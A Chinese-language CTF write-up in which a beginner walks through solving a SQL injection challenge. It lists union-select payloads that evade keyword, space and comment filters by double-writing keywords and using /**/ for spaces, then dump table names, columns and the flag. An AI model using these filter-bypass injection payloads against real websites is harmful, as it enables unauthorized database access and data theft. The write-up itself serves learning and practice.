这次来写了一个wp,我是小白希望大神们可以指点,因为自己是一个人搞sql,有人指点能够少走很多弯路。
先看这一题,我刚进来居然还来了个乱码,不管了开始,看到这题目,命令注入得到flag,就想这一题无非就是绕过过滤,进行爆库爆数据得到flag
输入1,2,3以后,得到一些表名,这时就在猜想后台sql查询语句为:select name where id =xxxxx;
[if !supportLists]1. [endif]先判断注入点
先用1 and 1=1 发现and被过滤了这里采用andand双写绕过
1 andand 1=1 1 andand 1=2 发现不是数字型注入
再用 1’andand 1=1--+ ;# 发现注释(--+,#)都被过滤了这里采用1’ andand ‘1’=’1进行注释
得到这个应该是‘字符型注入(这里我有点不大明白,但是这样注入可以爆出来,所以也就是将错就错了,希望有大神可以给我指点一下子,而且此时的order by我实验也没成功,索性直接爆)
[if !supportLists]2. [endif]暴库,表(建议也可以先查库再查表)
这里先不要闭合前面的‘,先直接输入查询语句,看看这个sql后台究竟过滤了哪些
1 union select group_concat(table_name)from information_schema .tables where table_schema =database()--+
发现注释--+,#什么的都被过滤了,可以考虑利用andand’1’=’1进行闭合后面的’号;发现有空格过滤,这里可以选择双写绕过和/**/(注释空格)进行绕过,发现group_concat;information_schema;table_schema都需要进行双写绕过
构造得:
1'/**/union/**/select/**/group_concagroup_concatt(table_name)/**/from/**/information_schema.tables/**/where/**/tabltable_schemae_schema/**/=database()andand '1'='1
得到表balotali,flag,web_1表,只有flag表对我们有用
我发现直接出表太利索了,得不到数据库,所以还是一步一步来把!
[if !supportLists]1. [endif]爆库
1’union select database()’
发现都被过滤了
构造得1’/**/union/**/select/**/database()’
得到数据库:web1(有用)
[if !supportLists]2. [endif]爆表
和上述一样先进行正常的sql语句
1 union select group_concat(table_name) frominformation_schema.tables where table_schema=’web1’
得到的还是被过滤的信息
根据/**/注释空格还用双写group等函数进行绕过
1'/**/union/**/select/**/group_concagroup_concatt(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemtable_schemaa='web1
得到flag和web_1表,可知flag对我们有用进行查列
[if !supportLists]3. [endif]查列
1’union select column_name from information_schema.columns where table_name=’flag’
构造得:
1'/**/union/**/select/**/column_namcolumn_namee/**/from/**/information_scheminformation_schema.columnsa.columns/**/where/**/table_name='flag'
andand '1'='1(这里可以用andand ‘1’=’1进行闭合)
得到列名为:flag对我们有用
[if !supportLists]4. [endif]查数据
直接构造得:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
得到flag
总之,这道题考的还是很有意思的,刚开始做的时候,自己构造语句很多都构造错,返回报错,看报错信息一脸懵,双写绕过很常见,重点就是过滤掉了注释和空格过滤,需要利用/*注释*/绕过空格,也可以利用括号,考这一点让我学到了,很实用,所以自己想写一个wp,充实一下自己,我自己写的估计有很多地方不对,希望帮忙指点一下子。